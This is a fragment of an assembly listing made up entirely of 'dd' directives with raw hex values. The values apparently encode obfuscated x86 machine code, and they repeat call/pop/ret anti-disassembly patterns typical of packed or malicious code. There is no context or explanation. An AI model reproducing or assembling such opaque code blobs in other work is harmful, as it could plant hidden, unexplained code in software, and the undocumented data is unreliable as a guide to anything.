		dd 4E8C170h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	54C35545h, 7B759478h, 0F766A2C8h, 0D9BD8BE2h, 0E909350Fh
		dd 11h,	0B7A0AD3Dh, 0B01C437Ch,	5A5DCC62h, 21991CBAh, 6AD82B05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0A84FC352h, 58EF801Ah, 23C58589h,	0D82B0935h
		dd 104880Fh, 7B90000h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 73E3C356h
		dd 0C3B56DABh, 0AE8BF54h, 8A000000h, 5F031440h,	5D1B0B2Bh
		dd 315FF91Fh, 352B79B5h, 0C18309h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0B5C35747h,	0B6CE257Eh, 0DA8EE952h
		dd 2C11BD8Bh, 0BD8B0935h, 9350C09h, 860FD93Bh, 8Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6BC35040h, 3289A5C1h
		dd 9890Fh, 810F0000h, 3, 66F88B66h, 35BED98Ch, 0F67FCF6Eh
		dd 840F04C1h, 45h, 5E8h, 302C6D00h, 85898E20h, 9350F09h
		dd 7195FF5Fh, 0F9093524h, 69B58B5Bh, 2B09352Ah,	9E9C3h
		dd 7570000h, 933C80D1h,	3D526C7Fh, 834h, 0B860Fh, 0BD8B0000h
		dd 935225Dh, 5E9h, 66C08B00h, 0C38BFA8Bh, 8E0FD88Bh, 0Ah
		dd 0F616060h, 86h, 85C76100h, 9351221h,	1F64E5FFh, 261DBD89h
		dd 0C08B0935h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0DBC35242h, 81FAB70Fh, 3528EDBDh, 7D009h, 54850F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 2EDCC356h, 0E8BC068Ch,	0BD293ED9h
		dd 9350D6Dh, 28ED85FFh,	6A0935h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 9560ECC3h, 7575B66Bh
		dd 0FF33B972h, 3528EDB5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 9BA1F543h
		dd 68A0Fh, 0C7810000h, 532DCF02h, 82995FFh, 0F98B0935h
		dd 0C6816690h, 0B589C5ADh, 9351F81h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 8AC35141h, 25C916E9h, 0BF536BDFh
		dd 140EDA04h, 0AE8h, 0B9FF2F00h, 0C5448706h, 0E90CE52Ah
		dd 0Fh,	9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh, 5EFDDA09h, 52006A5Eh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 5E9E8h, 20F50000h, 6AA76D1Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4643C353h, 0FC70800h
		dd 0EDBD8B8Dh, 0F09352Fh, 481h,	67BF6600h, 52006A55h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0AD956A94h, 6A6548h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h
		dd 51410000h, 6AA2DDC3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0BB24C353h,	75C6A106h
		dd 27CDBD33h, 0B58B0935h, 9353091h, 0FFF7C2E9h,	0EBBE66FFh
		dd 0F0BF0FC6h, 157704EBh, 0ADE97DA8h, 4A000005h, 0ED2CBE8h
		dd 63158613h, 14CCD1CCh, 5E227B1Ch, 0D2C9D2C7h,	4158D1B9h
		dd 0A8FA45Ch, 4451CF91h, 148DA157h, 0B7EDA187h,	12FD470Dh
		dd 47F7DC09h, 0D143AE2Bh, 0A45C4158h, 70E40F88h, 607DF3FCh
		dd 0EDE10F91h, 0B2425FD3h, 3DA4B92Bh, 0E6CE4FB6h, 19821F13h
		dd 0CFCCC967h, 678A1709h, 0F3D907C3h, 0E71C3641h, 41BB019Fh
		dd 29AF1C36h, 0A6BD2FC7h, 9D27BD11h, 991C3641h,	41E7CD17h
		dd 61F1C36h, 0E6DC6093h, 0A2E96F92h, 0CA242DBBh, 6EDFCD24h
		dd 607DF386h, 2A9C53Bh,	78F70D7Ah, 0DA9F655Dh, 7D0BE608h
		dd 1C358C3Ah, 5C6AE3Fh,	8950AEC8h, 779Fh, 2B47F000h, 0DCF9728Ch
		dd 6B519315h, 9B1C3641h, 5AB1984h, 1A6208EBh, 0EFD7808Ch
		dd 0A985C62h, 1C3596C2h, 965D7AF6h, 6C920F22h, 1C0CE7F0h
		dd 0B122C5AFh, 223FC10Dh, 96872DB7h, 5D831C35h,	7F584C99h
		dd 8950A54Eh, 619h, 0D64B7500h,	47842BCBh, 0D044AF2Ah
		dd 7688445Dh, 6772EDFAh, 72E66D89h, 0AF16DDFAh,	0BEB3462Eh
		dd 549F3A33h, 0FB7D1ED0h, 32217A67h, 23AB2E47h,	377D2367h
		dd 331C3641h, 418D37ADh, 67891C36h, 819C108Fh, 0B4D8B418h
		dd 3641C4EEh, 0C41EC01Ch, 1C3641FEh, 8100F4FAh,	27D2C213h
		dd 4E128B0Eh, 0B7FDA3D2h, 0B31C3641h, 8A30C32Dh, 15E1FE70h
		dd 0DA19849Bh, 8CA517F7h, 9923C10Dh, 8D1C3641h,	0AE96EB0Bh
		dd 4FFF70ADh, 0BA1789h,	49730000h, 0CEF4AAD5h, 0CA1C364Ch
		dd 8327CA24h, 364C575Dh, 0A34D531Ch, 2E47AC53h,	396723ABh
		dd 1C364193h, 0E956187h, 3128859Ah, 748646A8h, 9418DBFCh
		dd 0EE5F26Ah, 7EE36A8Ah, 0EE10351Fh, 0E926176h,	419A20BEh
		dd 88E1C36h, 0DEFB72ECh, 0B7223BBDh, 924963Ch, 72EA6490h
		dd 0E3AB8E65h, 3B43E89Bh, 10E41B6Fh, 0A5F8D1C3h, 0E28950F6h
		dd 74h,	0BB2E47B1h, 438917A4h, 371C3641h, 1DB13FB1h, 0E2118CA3h
		dd 0A517965Eh, 92071E8Bh, 823955Ch, 7CF2668Dh, 0B02D945Fh
		dd 13BB21C4h, 8D6970E9h, 75874C38h, 9418DBFEh, 6277EE60h
		dd 3A801E6Ah, 2E1C3641h, 0BC6F4CA8h, 578D2A47h,	1C36416Dh
		dd 0B40E8BA5h, 0A735BC32h, 1C364120h, 0E7ECD825h, 41B7FDA3h
		dd 2DB31C36h, 0F9E429C9h, 183894Fh, 44000000h, 6B76EB15h
		dd 7EF00488h, 0A8D8F4E1h, 0A85C4021h, 4AC92D57h, 0B63D5AD6h
		dd 41B02D42h, 0A41750CFh, 15BF787h, 1DB33EB0h, 0CD611400h
		dd 0FB681AD4h, 0F4E17E09h, 4C49E6D8h, 0D41FBCB2h, 0DFC7A450h
		dd 0E5CDF9Fh, 0BFE8E8A1h, 1B21FE83h, 0E97C7876h, 7D1A16DEh
		dd 9A455B73h, 6815035Ch, 0C58B9A18h, 3FB77F2Eh,	93061F91h
		dd 9E24BA60h, 9A1300EEh, 0B24DA14h, 1F91608Eh, 53059603h
		dd 0F00AC2DFh, 0C90637Ch, 0F52BA2B4h, 15E16F64h, 1DB6FE8Eh
		dd 35C61301h, 37A0BC4Fh, 0E9B6E797h, 0FAC46D05h, 289BD1C6h
		dd 0BD3924B4h, 9B0418E0h, 4F48E458h, 0FDE734A4h, 1489160Ah
		dd 5469621Ah, 3060BBC8h, 0B44055CEh, 853CC10Ch,	156A692h
		dd 15E50000h, 41A12BB9h, 23951C36h, 0E0648F0Ah,	485BE60Eh
		dd 7BA63C90h, 7915035Eh, 14087C77h, 0A21C128Bh,	77E90D8Ah
		dd 0A113DEFBh, 600B248Dh, 1EBB6574h, 767D73F0h,	87F5FCF2h
		dd 97292E16h, 76FAF99Ch, 87100C7Eh, 67D93416h, 698E9285h
		dd 3D000000h, 0D8B1AD15h, 7BB024D8h, 0ABEFE5B4h, 16DE1003h
		dd 6864248Bh, 35A5C03Ah, 3FB2341Ch, 35A60BB1h, 190B1A1Ch
		dd 869E5E55h, 625EE211h, 0BCC2FF6Fh, 3CB25AFh, 0F5BD6CBBh
		dd 12965D7Ch, 3D32BCAEh, 15CF15B9h, 911C35A6h, 0F4988E0Fh
		dd 35A604AEh, 16DE001Ch, 0AB2Eh, 0CB605A00h, 21A123CEh
		dd 4009E4E6h, 0AA49ADAAh, 0BC39B2Eh, 36972D5h, 8C406615h
		dd 14DFFC72h, 39DD6490h, 0C82CA9C7h, 0E0BDDA56h, 589B0418h
		dd 117D7C8h, 0FCE83513h, 8E4A7D7h, 6964E017h, 3753F65h
		dd 6F711301h, 90191587h, 6DEF029Fh, 4C341A83h, 3F5E2F27h
		dd 0C95C986Ah, 0F8A626FEh, 0BD8C1A2h, 0A4C75E60h, 0A84F9028h
		dd 14DF1166h, 1CA63C90h, 181C2888h, 2EB05E96h, 0C4DD51C3h
		dd 0E6CE3F2Dh, 0D7F7AFFAh, 100D3C9h, 98912715h,	0F8AEEF01h
		dd 0DB86A4C8h, 0E7BDE566h, 0E50700Eh, 415F6F69h, 13008B7Bh
		dd 0E68D696Fh, 5BD39B2Eh, 0BF31B33Eh, 0F9F6AF0Fh, 0F1009D93h
		dd 264A536Fh, 59B3FB7h,	150E7D8Fh, 3AAE456Bh, 1CE4B926h
		dd 0CC5C9700h, 5F6E8F8Ah, 9B6E56C7h, 8B21A87h, 8D6A8A17h
		dd 0A74A57CBh, 559C3D35h, 7B0EF667h, 0DFA1FAE7h, 0B39B5643h
		dd 3, 47844F14h, 0CF41B015h, 39AB4653h,	0C537BA27h, 54C82BAEh
		dd 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h
		dd 5E08950h, 4,	4B951h,	0C8290000h, 24048759h, 15C2685Ch
		dd 14890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 2434895Ch, 2867B850h, 0D8F74F02h, 0AA7C220Dh, 46B95105h
		dd 31BCC704h, 0C28959C8h, 4EC8158h, 89000000h, 4812424h
		dd 424h, 68505E00h, 8, 89F00158h, 348B5810h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 5224148Bh,	0C281E289h
		dd 4, 8704C283h, 0E95C2414h, 0FFFC7D34h, 53568A8Bh, 64C94740h
		dd 39010EB8h, 0FFC50309h, 2737CCE0h, 0F2ECF169h, 893F5310h
		dd 90F7A505h, 223B3302h, 0B89E6C18h, 325BA67Fh,	0CA355E18h
		dd 2977E43Bh, 9C18B60h,	350E3D8Dh, 4EB09h, 29000000h, 352AD59Dh
		dd 34A7BE09h, 13E853D6h, 98000000h, 33F5E5EDh, 0A83C07BCh
		dd 1480B9E1h, 0B25A65C3h, 0EF81AABFh, 2A1D01C6h, 7DBD895Eh
		dd 8D093507h, 35265985h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8D0F84B9h, 0
		dd 0AFBF5350h, 5E67FEE5h, 89240489h, 350B019Dh,	6A006A09h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0A83EC355h, 0DDBD31A3h, 6A093511h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0EF32E06Ah, 11E9h, 0D9E5B900h, 323B2F11h, 0FB8687A8h
		dd 62790B91h, 858D54BBh, 93903D6h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 82C35141h, 0DC4D84A6h, 83F5CBECh
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 9D700EC3h, 0B426100Eh, 8BA720DFh,	39B501F2h
		dd 50093510h, 0F38B6653h, 2404895Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0F1C35646h,	33813BF4h, 3526E5B5h
		dd 0E9006A09h, 13h, 0F338EA0h, 4BAAE299h, 8DA9FAE1h, 985FFAC7h
		dd 0BFDA3444h, 5CF8C989h, 0BD23006Ah, 9351C25h,	33195FFh
		dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0E1A619C3h, 16AF1F4Fh, 8D9EE607h,	389AAB9Dh
		dd 62F78109h, 0FF083DBAh, 51006AD3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 8B666086h
		dd 0BDBB66F9h, 85FF61D7h, 9353009h, 13E9h, 0AAEF7400h
		dd 7CE05416h, 2B47F2DAh, 98F92E13h, 44CCDB8Eh, 898E9h
		dd 0E800h, 815D0000h, 3903E0EDh, 0EDBD8109h, 0D0093528h
		dd 0F000007h, 1C186h, 0FB8B6600h, 0D59D8Bh, 0BE90935h
		dd 0B3000000h, 0E8AED3A5h, 5DFD1B6Bh, 5F579641h, 100E381h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0C891E6C3h, 12840Fh, 6E80000h, 0E9000000h
		dd 0DCEADCA3h, 8A0FA3h,	5F000000h, 850FDB0Bh, 0B3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A8C35646h, 0B5893A91h
		dd 935242Dh, 0BD83FB8Bh, 93901E1h, 45840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2AA0C352h, 6E8B2h, 1690000h, 2908D241h, 0AD5B58Bh
		dd 8B5F0935h, 0A0E9F7h,	9E90000h, 0CA000000h, 0FF7A5440h
		dd 0BAAF13DAh, 1E185C7h, 10939h, 89600000h, 3524F59Dh
		dd 618D8909h, 61093523h, 75E9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0C7F85CAEh
		dd 3901E185h, 9, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0C1ABA71Fh, 0FE8h, 0B7D82000h
		dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h, 0DE8h, 7AC84300h
		dd 0A594280Bh, 0AB9FB2Eh, 0B50936FDh, 935269Dh,	9D8D5E5Eh
		dd 93500D5h, 0E75B58Bh,	800F0935h, 6, 0C2A1D681h, 238133F6h
		dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0F8C35141h, 0CD70BE66h,	13E9h, 37C64300h, 0BBA26105h
		dd 0C68C6E94h, 383AF40Ah, 3948F133h, 8C66FA8Bh,	53006ADBh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0DF284C51h, 0F04C3F6h, 0AC84h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0C9EF295Fh
		dd 14E9h, 4DAD5800h, 29181CEBh,	48AEF3A2h, 0DA354CACh
		dd 0A1583351h, 7195FF60h, 6A093524h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8BDAC357h
		dd 90FFBF0Fh, 14E8h, 7CB8FB00h,	0C7719A72h, 316313EEh
		dd 7E96D646h, 824C6380h, 0FE8B6684h, 8E9505Eh, 57000000h
		dd 0F4EAC41Ch, 9086CB5Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 18C35646h, 8BF7E7ECh,	3F5E9F2h, 0BD8B0000h
		dd 9351215h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 43BA0BC3h, 60573A42h, 0B52B6160h
		dd 9351699h, 0B58B5E61h, 93524D1h, 0F6070E6h, 6652D7BFh
		dd 615BDF8Bh, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 860FEDC3h, 3, 0FF28B66h,	0FE8D8B6h
		dd 0B2000000h, 59A143AFh, 5C14FB1Bh, 0BA0F17Bh,	0BF0F71FEh
		dd 6BA5EF9h, 0BF000000h, 70FFE286h, 1D7DB531h, 0C38B0935h
		dd 0C1F98B66h, 6A04E8h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0F766E0C3h, 52006AE2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 14A69284h
		dd 3A29CE81h, 9589706Ch, 9353261h, 2840Fh, 0F38B0000h
		dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0AD2A1DC3h, 8A050657h, 10E980h, 37DA0000h
		dd 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh, 5093C3D6h,	0DE9h
		dd 0A127EC00h, 0A0723295h, 765D9082h, 993B1B8h,	3510E185h
		dd 0EDB5FF09h, 0E8093528h, 9, 0C03F46F8h, 92B06C45h, 5DBD8B3Ah
		dd 5E093503h, 82995FFh,	6A0935h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 781947C3h, 1E89B58Bh
		dd 0B00935h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0A9C35040h, 0F8DAC255h,	28E0Fh,	0F18B0000h, 8B6070E6h
		dd 35109D8Dh, 71E46109h, 830F613Ch, 22Bh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 36C35141h, 0A9E23E10h
		dd 7A5BCB45h, 85BF66DCh, 0D8B60FE1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 2CC35242h, 0F3DADFCEh, 0BABA3046h
		dd 6, 1D699509h, 0C38B0935h, 26B19D01h,	0E8C10935h, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 79D2987Dh, 0F67C5BBh, 0F766FEB7h, 56006AE2h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 2DFF0374h
		dd 898E88A8h, 350AD19Dh, 8BD82B09h, 351B61B5h, 0D1BE5809h
		dd 2B41FF44h, 60880FD8h, 8B000001h, 350E45B5h, 10E909h
		dd 2C140000h, 0BE5BBFA9h, 0CAFDF6EAh, 3DDDD60Fh, 7B92CB4h
		dd 0F000000h, 38Bh, 0F28B6600h,	6A00C183h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 1B9C350h
		dd 350CE19Dh, 0FD93B09h, 10A86h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 69592F1Fh
		dd 49353549h, 8C6626C9h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0CD07A97h, 8BF28B76h
		dd 4C1F6F0h, 0B3840Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0C8EB39C3h, 799D3132h
		dd 3309350Ch, 352F99B5h, 7195FF09h, 6A093524h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 2CEFC355h, 0FFC003Ah, 38Eh, 0F88B6600h, 0B589FC5Bh
		dd 93504C5h, 0B70FC32Bh, 8343DF0h
		dd 860F0000h, 41h, 27F1BD8Bh, 38E90935h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 67BBC357h, 9589966Fh, 9351C11h, 6E960h, 87F30000h, 8CC48EEBh
		dd 0CF70BE66h, 8BC08B61h, 6AD88BC3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0EAE1C351h
		dd 0E0213A2Fh, 69426043h, 10BB60FCh, 109D8AEh, 3526998Dh
		dd 85C76109h, 9350B21h,	5FD93D7Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 30C35343h, 6FD3D4FDh, 89216162h
		dd 351DED85h, 89C08B09h, 351D9D8Dh, 0EDBD8109h,	0D0093528h
		dd 0F000007h, 4285h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 85FF8A0Dh, 93528EDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 55C35646h, 0FF993D20h
		dd 3528EDB5h, 0F6BF0F09h, 82995FFh, 0B70F0935h,	6A90F6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 7A1837C3h, 10315FBh,	350BBD85h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0C54E937Dh
		dd 4D4C64DCh, 6A6D34h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0CAF063C3h, 0BD0B8A24h, 93525BDh
		dd 0CDBD2B57h, 5E09351Dh, 0FFBB70Fh, 38Bh, 0FFB70F00h
		dd 1F79BD8Bh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 6AE334C3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0CCE0C355h
		dd 89C53ADBh, 352555BDh, 0EE816609h, 0BE66CE1Ch, 81668376h
		dd 0E96EC9C6h, 6, 7012DFD6h, 8166A6B1h,	0E891C7E7h, 0Bh
		dd 2177A38Ah, 0D0856DBBh, 89DAD1E1h, 350A81B5h,	0F5B58909h
		dd 5E09352Ch, 0FFF76CE9h, 22BF66FFh, 6AC18B40h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0A536C351h, 153D0438h, 8926CE95h, 3527E9B5h,	820F09h
		dd 0EB000000h, 4, 0C5BD2B00h, 6A093502h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 2291C352h
		dd 85BD2B7Ch, 8D09350Ch, 35265985h, 0A1858909h,	9009352Eh
		dd 0A840F50h, 0F000000h, 48Dh, 0DBE6600h, 6A9046h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 297DAC3h, 6A7CAEDFh,	6A006A00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2833C353h
		dd 858D2E0Ch, 9390E55h,	83FB8B66h, 895705C0h, 3524F59Dh
		dd 9D895F09h, 9351AC1h,	0E8905090h, 13h, 7E7AED37h, 0E5B96C9Ch
		dd 3B2F11D9h, 8687A832h, 290B91FBh, 35257985h, 6A5E09h
		dd 0FE9h, 33E96100h, 0B62A7C50h, 0AC77C816h, 4FC51EDh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 2CAAEDC3h, 0F0B70F67h, 31B52B53h,	5F09352Fh
		dd 33195FFh, 51520935h,	3FD8D89h, 5E5E0935h, 0ED9BD89h
		dd 9D8D0935h, 9389AABh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B5C35040h, 0F526034Dh, 5DBD8B36h, 0E809352Ah
		dd 8, 814D932Ah, 7CAB548Fh, 22B9BD31h, 0FF5F0935h, 53006AD3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 85FF8CE1h, 9353009h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0DEC35040h, 498D8949h, 0E909352Ch, 823h
		dd 0E8h, 0ED815D00h, 9390E5Fh, 28EDBD81h, 7D00935h, 860F0000h
		dd 160h, 30118589h, 0BD8B0935h,	93516C9h, 101D9D8Bh, 6A0935h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 9BA5EBC3h, 0E381F18Bh, 100h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0E5C35747h,	0BD5A1EBDh, 0E96520ADh
		dd 13h,	3A14A9D3h, 0DEA0FE58h, 5E91040Ch, 90FF107Dh, 0BCD36B0h
		dd 9C850FDBh, 0F000000h, 689h, 0E5BD8B00h, 83093503h, 390CA7BDh
		dd 840F0009h, 2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0E3C35747h, 9A77F694h, 6CE91704h, 0F8000000h
		dd 0E1DBD8Bh, 85C70935h, 9390CA7h, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0A7C35545h,	1DB4997h, 86EF00C3h
		dd 31E993h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 660511C3h, 0C7397FBFh, 390CA785h
		dd 9, 0A1B58B00h, 8D093522h, 35101D9Dh,	52006A09h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0C4CC5B25h, 59B2641Ah, 2192BE56h, 815E4C64h,	0FFFEFF23h
		dd 0F28B66FFh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 7A5BC353h, 9D8993DCh
		dd 93511C5h, 12E9h, 119DA500h, 0ECCE3BABh, 0A07B4D3Dh
		dd 0B8BBD635h, 0F6B2DABCh, 840F04C3h, 6Ah, 0B186B060h
		dd 95FF6149h, 9352471h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F3C35545h, 0C4DB0685h, 22710FFBh, 90F98B1Ch
		dd 8B666050h, 2F99BFC6h, 906104FAh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 27C35545h, 94FB9BE3h, 55AF742Eh
		dd 3085B58Bh, 0F7E90935h, 0BF000003h, 8BD51DBh,	0F5300B0h
		dd 0E85h, 9E900h, 0EE680000h, 10C829CEh, 5E857B90h, 8E0F70E6h
		dd 5, 5DDE8166h, 6A71E4C5h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 9267C356h, 0ACBA8A97h
		dd 0D8B60F26h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0C7C35242h, 7E98Ah, 0FC7D0000h,	493202B0h, 6BA68h
		dd 8B660000h, 8BC38BF3h, 350075B5h, 4E8C109h, 12E8h, 6B429A00h
		dd 1CA20875h, 0FED4B221h, 6A4CAB04h, 66913F1Dh,	0DFA0EE81h
		dd 0E2F7665Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0E6C35545h, 5E986h, 0EBBD0000h,	2BFB1E6Ch, 81BD31D8h
		dd 5009350Dh, 65EF04BEh, 241C894Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 76C35747h, 0BE8h, 0E155AE00h
		dd 8EE0B65Ch, 0E927E473h, 3850F5Fh, 0F000000h, 0B5FFF7B7h
		dd 93528EDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0DDC35141h, 0C8563153h,	259501h, 0BF660935h, 95FF261Ah
		dd 9350829h, 8BFA8B60h,	35235DB5h, 0B06109h, 599B503h
		dd 70E60935h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	18C35646h, 0E4D49292h, 5850F71h, 0BE000000h, 4095D570h
		dd 830F613Ch, 25Eh, 0DC5B58Bh, 0B60F0935h, 56006AD8h, 3E8h
		dd 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B921951h, 35239DB5h
		dd 6BA09h, 8BBF0000h, 8B215DD5h, 0BD8B60C3h, 9350AE1h
		dd 61C88B66h, 0BE04E8C1h, 1A22152Ch, 6AE2F766h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8CC8C351h, 0E8B9B918h, 282323CCh, 1B61B58Bh,	0D82B0935h
		dd 0E558589h, 12E90935h, 84000000h, 654EF3C2h, 14CB4027h
		dd 116916Ch, 4A0078F0h,	0BD8B5886h, 9350421h, 880FD82Bh
		dd 1B6h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	62C35646h, 66577DB8h, 5F7922BEh, 7B9h, 10E800h
		dd 0A3480000h, 0DA77B6ADh, 0C8F4509Bh, 4DA818F5h, 8E9CEB8h
		dd 1D000000h, 3DC193FEh, 5E574B30h, 6A00C183h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 8BDBC352h, 4CB56CB8h, 8A0FE7CCh, 6, 0E399501h, 0D93B0935h
		dd 130860Fh, 95310000h,	9350055h, 81D98C66h, 0BDC14CCEh
		dd 4C1F635h, 0EE840Fh, 89600000h, 35332D95h, 13E909h, 2E2F0000h
		dd 61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 95FF61B8h
		dd 9352471h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0B1C35242h, 0E1BD895Bh,	2B093528h, 53006AC3h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0ABA0D127h, 946DA38h, 0D78150C3h, 8757C72h, 5ABE665Fh
